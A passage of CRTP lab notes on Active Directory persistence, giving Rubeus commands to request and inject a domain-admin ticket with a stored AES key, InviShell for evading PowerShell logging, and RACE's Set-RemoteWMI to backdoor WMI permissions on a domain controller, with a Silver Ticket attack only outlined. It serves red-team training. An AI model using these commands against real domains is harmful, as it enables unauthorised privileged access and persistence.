CRTP Lab 13

Task 1

Modify security descriptors on dcorp-dc to get access using PowerShell remoting and WMI without requiring administrator access.

Open elevated DA cmd:

#ArgSplit asktgt

#Open DA cmd:
C:\AD\Tools\Rubeus.exe asktgt /user:svcadmin /aes256:6366243a657a4ea04e406f1abc27f1ada358ccd0138ec5ca2835067719dc7011 /opsec /createnetonly:C:\Windows\System32\cmd.exe /show /ptt

After we get the shell as DA, run InviShell and import RACE

#InviShell
C:\AD\Tools\InviShell\RunWithRegistryNonAdmin.bat

#InviShell
C:\AD\Tools\InviShell\RunWithRegistryNonAdmin.bat

# Import RACE
. C:\AD\Tools\RACE.ps1

Next, we try to provide student the same permissions as Builtin Administrator (BA) on root\cimv2 WMI namespace)

Set-RemoteWMI -SamAccountName student372 -ComputerName dcorp-dc -namespace 'root\cimv2' -Verbose

We have modified Security Descriptors and hence we can execute WMI queries as student without Administrative cmd.

Task 2

Retrieve machine account hash from dcorp-dc without using administrator access and use that to execute a Silver Ticket attack to get code execution with WMI.

Before we retrieve machine account hash, we need to modify permissions on DC.

Since student is added as backdoor, we can retrieve hash as student372.

Using the machine hash, we can use Silver Ticket attack on Host and RPCSS services.

PS Remoting:

PreviousSecurity DescriptorsNextTools

Last updated